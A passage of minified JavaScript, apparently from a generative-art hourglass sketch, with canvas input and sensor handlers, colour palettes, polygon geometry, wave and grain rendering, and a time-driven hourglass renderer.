ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
